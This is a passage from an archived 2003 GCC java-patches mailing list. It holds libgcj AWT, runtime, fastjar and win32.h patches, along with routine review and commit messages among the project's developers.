if (rgbvalue.length < 3) + throw new IllegalArgumentException (); + // FIXME: Always assumes sRGB: return rgbvalue; } + /** + * Transforms a color value assumed to be in this ColorSpace into the + * CS_CIEXYZ conversion color space. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at + * least the number of components in this ColorSpace. + */ public float[] toCIEXYZ(float[] colorvalue) { // FIXME: Not implemented Index: java/awt/geom/Dimension2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/Dimension2D.java,v retrieving revision 1.8 diff -b -u -r1.8 Dimension2D.java --- java/awt/geom/Dimension2D.java 9 Aug 2002 04:26:15 -0000 1.8 +++ java/awt/geom/Dimension2D.java 14 Jan 2003 15:06:21 -0000 @@ -86,6 +86,7 @@ * may occur. * * @param d the dimension containing the new values + * * @throws NullPointerException if d is null */ public void setSize(Dimension2D d) @@ -98,6 +99,10 @@ * as this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/geom/GeneralPath.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/GeneralPath.java,v retrieving revision 1.1 diff -b -u -r1.1 GeneralPath.java --- java/awt/geom/GeneralPath.java 9 Aug 2002 04:26:16 -0000 1.1 +++ java/awt/geom/GeneralPath.java 14 Jan 2003 15:06:21 -0000 @@ -338,6 +338,10 @@ * this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/geom/Line2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/Line2D.java,v retrieving revision 1.4 diff -b -u -r1.4 Line2D.java --- java/awt/geom/Line2D.java 9 Aug 2002 04:26:16 -0000 1.4 +++ java/awt/geom/Line2D.java 14 Jan 2003 15:06:22 -0000 @@ -752,6 +752,10 @@ * this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/geom/QuadCurve2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/QuadCurve2D.java,v retrieving revision 1.1 diff -b -u -r1.1 QuadCurve2D.java --- java/awt/geom/QuadCurve2D.java 9 Aug 2002 04:26:16 -0000 1.1 +++ java/awt/geom/QuadCurve2D.java 14 Jan 2003 15:06:22 -0000 @@ -289,6 +289,10 @@ * this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/image/ColorModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/image/ColorModel.java,v retrieving revision 1.8 diff -b -u -r1.8 ColorModel.java --- java/awt/image/ColorModel.java 30 Nov 2002 04:51:11 -0000 1.8 +++ java/awt/image/ColorModel.java 14 Jan 2003 15:06:22 -0000 @@ -120,10 +120,32 @@ Buffers.smallestAppropriateTransferType(bits * 4)); } + /** + * Constructs a ColorModel that translates pixel values to + * color/alpha components. + * + * @exception IllegalArgumentException If the length of the bit array is less + * than the number of color or alpha components in this ColorModel, or if the + * transparency is not a valid value, or if the sum of the number of bits in + * bits is less than 1 or if any of the elements in bits is less than 0. + */ protected ColorModel(int pixel_bits, int[] bits, ColorSpace cspace, boolean hasAlpha, boolean isAlphaPremultiplied, int transparency, int transferType) { + int bits_sum = 0; + for (int i = 0; i < bits.length; i++) + { + if (bits [i] < 0) + throw new IllegalArgumentException (); + + bits_sum += bits [i]; + } + + if ((bits.length < cspace.numComponents) + || (bits_sum < 1)) + throw new IllegalArgumentException (); + this.pixel_bits = pixel_bits; this.bits = bits; this.cspace = cspace; Index: java/awt/image/ImageFilter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/image/ImageFilter.java,v retrieving revision 1.1 diff -b -u -r1.1 ImageFilter.java --- java/awt/image/ImageFilter.java 24 Jan 2002 01:05:12 -0000 1.1 +++ java/awt/image/ImageFilter.java 14 Jan 2003 15:06:22 -0000 @@ -81,9 +81,18 @@ * * @see java.lang.Object#clone () */ - public Object clone() throws CloneNotSupportedException + public Object clone() { - return (super.clone()); + try + { + return super.clone(); + } + catch (CloneNotSupportedException e) + { + // This should never happen as this class implements the + // Cloneable interface. + throw new InternalError (); + } } /** --Boundary-00=_AgCJ+sJAi5hFvuq-- From java-patches-return-5807-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 17:07:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11596 invoked by alias); 14 Jan 2003 17:07:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11588 invoked from network); 14 Jan 2003 17:07:44 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 14 Jan 2003 17:07:44 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 9D579ABAF8; Tue, 14 Jan 2003 17:07:30 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0EH7wt29523; Tue, 14 Jan 2003 17:07:58 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15908.17390.263666.171575@cuddles.cambridge.redhat.com> Date: Tue, 14 Jan 2003 17:07:58 +0000 (GMT) To: tromey@redhat.com Cc: java-patches@gcc.gnu.org Subject: Re: natRuntime stack trace bug fix In-Reply-To: <877kdcwmk1.fsf@fleche.redhat.com> References: <15902.44574.85768.889028@cuddles.cambridge.redhat.com> <15903.3830.484516.121867@cuddles.cambridge.redhat.com> <877kdcwmk1.fsf@fleche.redhat.com> Tom Tromey writes: > >>>>> "Andrew" == Andrew Haley writes: > > Andrew> 2003-01-10 Andrew Haley > Andrew> * java/lang/natRuntime.cc (_load): StackTrace access needs to be > Andrew> in a try block. > > I think this changes the semantics a bit. > > Andrew> ! for (int i = 1; !klass; i++) > > If klass!=NULL and it was loaded with the system loader, we'll still > exit the loop. OK. Andrew. * java/lang/natRuntime.cc (_load): StackTrace access needs to be in a try block. Index: natRuntime.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.29 diff -u -w -r1.29 natRuntime.cc --- natRuntime.cc 10 Dec 2002 01:39:32 -0000 1.29 +++ natRuntime.cc 14 Jan 2003 17:05:11 -0000 @@ -29,6 +29,7 @@ #include #include #include +#include #include @@ -181,6 +182,8 @@ ClassLoader *sys = ClassLoader::getSystemClassLoader(); ClassLoader *look = NULL; gnu::gcj::runtime::StackTrace *t = new gnu::gcj::runtime::StackTrace(10); + try + { for (int i = 0; i < 10; ++i) { jclass klass = t->classAt(i); @@ -194,6 +197,11 @@ } } } + } + catch (::java::lang::ArrayIndexOutOfBoundsException *e) + { + } + if (look != NULL) { // Don't include solib prefix in string passed to From java-patches-return-5808-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 19:00:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24393 invoked by alias); 14 Jan 2003 19:00:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24160 invoked from network); 14 Jan 2003 19:00:08 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 14 Jan 2003 19:00:08 -0000 Received: from fleche.redhat.com (tq0161.peakpeak.com [207.174.177.161]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA22691; Tue, 14 Jan 2003 11:59:55 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 583354F8057; Tue, 14 Jan 2003 12:05:12 -0700 (MST) To: Andrew Haley Cc: java-patches@gcc.gnu.org Subject: Re: natRuntime stack trace bug fix References: <15902.44574.85768.889028@cuddles.cambridge.redhat.com> <15903.3830.484516.121867@cuddles.cambridge.redhat.com> <877kdcwmk1.fsf@fleche.redhat.com> <15908.17390.263666.171575@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is this where people are HOT and NICE and they give you TOAST for FREE?? Date: 14 Jan 2003 12:05:12 -0700 In-Reply-To: <15908.17390.263666.171575@cuddles.cambridge.redhat.com> Message-ID: <87wul7mu1j.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> * java/lang/natRuntime.cc (_load): StackTrace access needs to be Andrew> in a try block. Ok. This should go in 3.3 as well. Tom From java-patches-return-5809-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 19:18:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30945 invoked by alias); 14 Jan 2003 19:18:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30921 invoked from network); 14 Jan 2003 19:18:53 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 14 Jan 2003 19:18:53 -0000 Received: from fleche.redhat.com (tq0161.peakpeak.com [207.174.177.161]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA27198; Tue, 14 Jan 2003 12:17:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4D22E4F8057; Tue, 14 Jan 2003 12:23:11 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: java.net serialization References: <200301141101.27454.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: This ASIAGO-N-DRIED TOMATO combo would taste a lot better between two plastic SIPPER LIDS! Date: 14 Jan 2003 12:23:11 -0700 In-Reply-To: <200301141101.27454.konqueror@gmx.de> Message-ID: <874r8bmt7k.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I have written a little patch for java.net and its serialization. Michael> Please review and comment. This looks fine to me. This should go on the trunk, 3.3, and in Classpath. Tom From java-patches-return-5810-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 19:28:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3000 invoked by alias); 14 Jan 2003 19:28:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2978 invoked from network); 14 Jan 2003 19:28:19 -0000 Received: from unknown (HELO Cantor.suse.de) (213.95.15.193) by sources.redhat.com with SMTP; 14 Jan 2003 19:28:19 -0000 Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136]) by Cantor.suse.de (Postfix) with ESMTP id 3C56914D20; Tue, 14 Jan 2003 20:28:19 +0100 (MET) Received: from aj by arthur.inka.de with local (Exim 3.34 #1) id 18YWjR-00060S-00; Tue, 14 Jan 2003 20:28:17 +0100 Mail-Copies-To: never To: Andrew Haley Cc: Anthony Green , gcc-patches@gcc.gnu.org, Subject: Re: [libffi] Unwind info for x86_64 From: Andreas Jaeger Date: Tue, 14 Jan 2003 20:28:17 +0100 In-Reply-To: <15902.64736.959172.275084@cuddles.cambridge.redhat.com> (Andrew Haley's message of "Fri, 10 Jan 2003 17:03:28 +0000 (GMT)") Message-ID: User-Agent: Gnus/5.090011 (Oort Gnus v0.11) XEmacs/21.4 (Artificial Intelligence, i386-suse-linux) References: <1041622060.1560.34.camel@escape> <15902.64736.959172.275084@cuddles.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Andrew, can you add your x86-64 java patches also to the GCC 3.3 branch, please? I think this patch was only applied to mainline so far: 2003-01-10 Andrew Haley * include/dwarf2-signal.h: Remove x86_64. * configure.host (x86_64 DIVIDESPEC): Remove. * include/x86_64-signal.h: New file. * configure.in: Regenerate. Thanks, Andreas -- Andreas Jaeger SuSE Labs aj@suse.de private aj@arthur.inka.de http://www.suse.de/~aj From java-patches-return-5811-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 19:32:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5435 invoked by alias); 14 Jan 2003 19:32:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5386 invoked from network); 14 Jan 2003 19:32:00 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sources.redhat.com with SMTP; 14 Jan 2003 19:32:00 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id A2187ABAF8; Tue, 14 Jan 2003 19:31:57 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0EJWPa24486; Tue, 14 Jan 2003 19:32:25 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15908.26057.226655.653343@cuddles.cambridge.redhat.com> Date: Tue, 14 Jan 2003 19:32:25 +0000 (GMT) To: Andreas Jaeger Cc: Anthony Green , gcc-patches@gcc.gnu.org, Subject: Re: [libffi] Unwind info for x86_64 In-Reply-To: References: <1041622060.1560.34.camel@escape> <15902.64736.959172.275084@cuddles.cambridge.redhat.com> Andreas Jaeger writes: > > Andrew, > > can you add your x86-64 java patches also to the GCC 3.3 branch, > please? > > I think this patch was only applied to mainline so far: > 2003-01-10 Andrew Haley > > * include/dwarf2-signal.h: Remove x86_64. > * configure.host (x86_64 DIVIDESPEC): Remove. > * include/x86_64-signal.h: New file. > * configure.in: Regenerate. Patience. All will be checked in when I have test results. Andrew. From java-patches-return-5812-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 19:36:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7675 invoked by alias); 14 Jan 2003 19:36:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7664 invoked from network); 14 Jan 2003 19:36:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 14 Jan 2003 19:36:51 -0000 Received: from fleche.redhat.com (tq0161.peakpeak.com [207.174.177.161]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA31785; Tue, 14 Jan 2003 12:36:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 48B974F8057; Tue, 14 Jan 2003 12:41:55 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: java.awt - documentation and others - REVISED References: <200301141236.24021.konqueror@gmx.de> <200301141608.49054.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Will the third world war keep ``Bosom Buddies'' off the air? Date: 14 Jan 2003 12:41:54 -0700 In-Reply-To: <200301141608.49054.konqueror@gmx.de> Message-ID: <87wul7ldrx.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Here a better version of the patch. This looks good to me, though see the comments below first. Please check it in: cvs trunk, 3.3, and Classpath (especially the latter since Classpath is the master source for AWT). I can do this if you like. Michael> - */ Michael> graphicsConfiguration = gc; This line needs to be reindented. Michael> + bits_sum += bits [i]; I think it is clearer to use `|=' here. Also it avoids any potential overflow problems. Tom From java-patches-return-5813-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 21:15:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4441 invoked by alias); 14 Jan 2003 21:15:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4367 invoked from network); 14 Jan 2003 21:15:27 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 14 Jan 2003 21:15:27 -0000 Received: from fleche.redhat.com (tq0161.peakpeak.com [207.174.177.161]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA25764; Tue, 14 Jan 2003 14:15:14 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 702C44F8057; Tue, 14 Jan 2003 14:20:32 -0700 (MST) To: Java Patch List Subject: Patch: FYI: fastjar fix for PPC From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: -- In 1962, you could buy a pair of SHARKSKIN SLACKS, with a ``Continental Belt,'' for $10.99!! Date: 14 Jan 2003 14:20:31 -0700 Message-ID: <87iswrl97k.fsf@fleche.redhat.com> Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. Apparently a change went in without regenerating config.h.in. This shows up as `jar tf' failing on PPC, because the endianness check isn't properly propagated to the code. Tom Index: ChangeLog from Tom Tromey * config.h.in: Rebuilt. Index: config.h.in =================================================================== RCS file: /cvs/gcc/gcc/fastjar/config.h.in,v retrieving revision 1.7 diff -u -r1.7 config.h.in --- config.h.in 10 Nov 2002 21:04:24 -0000 1.7 +++ config.h.in 14 Jan 2003 21:13:31 -0000 @@ -15,15 +15,15 @@ /* Define if you have the header file. */ #undef HAVE_FCNTL_H +/* Define if you have the header file. */ +#undef HAVE_LIMITS_H + /* Define if you have the header file. */ #undef HAVE_NDIR_H /* Define if you have the header file. */ #undef HAVE_STDLIB_H -/* Define if you have the header file. */ -#undef HAVE_LIMITS_H - /* Define if you have the header file. */ #undef HAVE_SYS_DIR_H @@ -61,7 +61,13 @@ /* The number of bytes in type long long */ #undef SIZEOF_LONG_LONG +/* whether byteorder is bigendian */ +#undef WORDS_BIGENDIAN + /* Define if the host machine stores words of multi-word integers in big-endian order. */ -#undef WORDS_BIG_ENDIAN +#undef HOST_WORDS_BIG_ENDIAN + +/* 1234 = LIL_ENDIAN, 4321 = BIGENDIAN */ +#undef BYTEORDER From java-patches-return-5815-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 21:47:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20414 invoked by alias); 14 Jan 2003 21:47:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20358 invoked from network); 14 Jan 2003 21:46:57 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 209.249.29.67 with SMTP; 14 Jan 2003 21:46:57 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-75-009.ewetel.net [80.228.75.9]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h0ELkhfT004711; Tue, 14 Jan 2003 22:46:44 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18YYtP-0005KX-01; Tue, 14 Jan 2003 22:46:43 +0100 From: Michael Koch To: tromey@redhat.com Subject: Re: java.net serialization Date: Tue, 14 Jan 2003 22:45:50 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200301141101.27454.konqueror@gmx.de> <874r8bmt7k.fsf@fleche.redhat.com> In-Reply-To: <874r8bmt7k.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200301142245.50335.konqueror@gmx.de> X-CheckCompat: OK -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 14. Januar 2003 20:23 schrieb Tom Tromey: > >>>>> "Michael" == Michael Koch writes: > > Michael> I have written a little patch for java.net and its > serialization. Michael> Please review and comment. > > This looks fine to me. > This should go on the trunk, 3.3, and in Classpath. Commited. Can you please commit to 3.3 tree ? Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+JIUOWSOgCCdjSDsRAlCQAKCh4RWTyCVdNhBHGhfsGlULwOL/AQCgi+ly izJCLhaJ4MhcDRD/Mivuzzo= =9nqG -----END PGP SIGNATURE----- From java-patches-return-5814-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 21:47:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20404 invoked by alias); 14 Jan 2003 21:47:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20356 invoked from network); 14 Jan 2003 21:46:57 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 209.249.29.67 with SMTP; 14 Jan 2003 21:46:57 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-75-009.ewetel.net [80.228.75.9]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h0ELkhsM017811; Tue, 14 Jan 2003 22:46:44 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18YYtP-0005KX-00; Tue, 14 Jan 2003 22:46:43 +0100 From: Michael Koch To: tromey@redhat.com Subject: Re: java.awt - documentation and others - REVISED Date: Tue, 14 Jan 2003 22:32:21 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200301141236.24021.konqueror@gmx.de> <200301141608.49054.konqueror@gmx.de> <87wul7ldrx.fsf@fleche.redhat.com> In-Reply-To: <87wul7ldrx.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200301142232.24676.konqueror@gmx.de> X-CheckCompat: OK -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 14. Januar 2003 20:41 schrieb Tom Tromey: > >>>>> "Michael" == Michael Koch writes: > > Michael> Here a better version of the patch. > > This looks good to me, though see the comments below first. Please > check it in: cvs trunk, 3.3, and Classpath (especially the latter > since Classpath is the master source for AWT). I can do this if > you like. > > Michael> - */ > Michael> graphicsConfiguration = gc; > > This line needs to be reindented. I (and xemacs gnu-indent-style) really see no reason to reindent it in the source. Perhaps its just looking bad in the patch .... > Michael> + bits_sum += bits [i]; > > I think it is clearer to use `|=' here. > Also it avoids any potential overflow problems. Okay, commited. Can you please commit this too 3_3_branch ? Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+JIHoWSOgCCdjSDsRAv8zAKCWoIRCsx4Zr4pPl61PFMn3IP0yeACdGPa/ nXR7KPKBpHfqcwvezfjDyWQ= =cMYN -----END PGP SIGNATURE----- From java-patches-return-5816-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 21:49:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21102 invoked by alias); 14 Jan 2003 21:49:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21083 invoked from network); 14 Jan 2003 21:49:44 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 14 Jan 2003 21:49:44 -0000 Received: from fleche.redhat.com (tq0161.peakpeak.com [207.174.177.161]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA03137; Tue, 14 Jan 2003 14:49:31 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 677024F8057; Tue, 14 Jan 2003 14:54:47 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: java.awt - documentation and others - REVISED References: <200301141236.24021.konqueror@gmx.de> <200301141608.49054.konqueror@gmx.de> <87wul7ldrx.fsf@fleche.redhat.com> <200301142232.24676.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: NOW do I get to blow out the CANDLES?? Date: 14 Jan 2003 14:54:46 -0700 In-Reply-To: <200301142232.24676.konqueror@gmx.de> Message-ID: <87vg0rjt21.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I (and xemacs gnu-indent-style) really see no reason to Michael> reindent it in the source. Perhaps its just looking bad in Michael> the patch .... I applied the patch and it looked wrong in the source. But your commit looks fine. So it was probably some patch transmission or application problem. No worries. Michael> Can you please commit this too 3_3_branch ? Will do. Tom From java-patches-return-5817-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 15 06:10:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30227 invoked by alias); 15 Jan 2003 06:10:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30186 invoked from network); 15 Jan 2003 06:10:19 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 209.249.29.67 with SMTP; 15 Jan 2003 06:10:19 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18YgjJ-00007q-00 for ; Wed, 15 Jan 2003 07:08:49 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18YgjH-00007e-00 for ; Wed, 15 Jan 2003 07:08:47 +0100 Path: not-for-mail From: Ranjit Mathew Subject: Patch: win32.h Cleanup w.r.t. w32api 2.x Date: Wed, 15 Jan 2003 11:40:09 +0530 Lines: 82 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, This patch proposes to slightly clean up the win32.h header file w.r.t. to the w32api 2.x packages for Cygwin/MinGW. Note that after this change, only w32api 2.x can be used to compile GCJ for MinGW, but without it, it doesn't compile at all with w32api-2.x. The rationale for the changes are: 1. Only ws2tcpip.h defines "socklen_t" without which the networking code doesn't compile. 2. ws2tcpip.h defins IP_TOS to be 3 (WinSock 2) so the explicit definition is not needed. 3. Slight formatting error in _Jv_connect( ). Even after these, I still have some questions on this header which perhaps Adam is best equipped to answer: a. What is the need for "#undef STRICT" at the begining? Is this to overcome some limitation of earlier w32api headers? b. Why does it say that ECONNRESET and ENOTCONN cannot occur on Win32? Why then are the error codes WSAECONNRESET and WSAENOTCONN defined by WinSock 2? c. It defines ENOPROTOOPT to 109 - however, WSAENOPROTOOPT is defined to be 10042 and is really what is returned by WinSock 2. Thanks in advance for clarifying these issues. ChangeLog: 2003-01-15 Ranjit Mathew * include/win32.h: Include ws2tcpip.h instead of winsock.h to obtain definition of the socklen_t type. Remove IP_TOS definition - not needed with ws2tcpip.h (_Jv_connect): Correct slight formatting error. Patch: ---------------------------------- 8< ---------------------------------- --- win32.h Wed Jan 15 11:19:35 2003 +++ win32.h Wed Jan 15 11:21:53 2003 @@ -1,5 +1,5 @@ // win32.h -- Helper functions for Microsoft-flavored OSs. -/* Copyright (C) 2002 Free Software Foundation +/* Copyright (C) 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -15,7 +15,5 @@ #undef STRICT -#undef __INSIDE_CYGWIN__ -#include -#define IP_TOS 3 +#include #include #include @@ -75,5 +73,5 @@ _Jv_connect (jint fd, sockaddr *ptr, int len) { - return ::connect (fd, ptr, len); + return ::connect (fd, ptr, len); } ---------------------------------- 8< 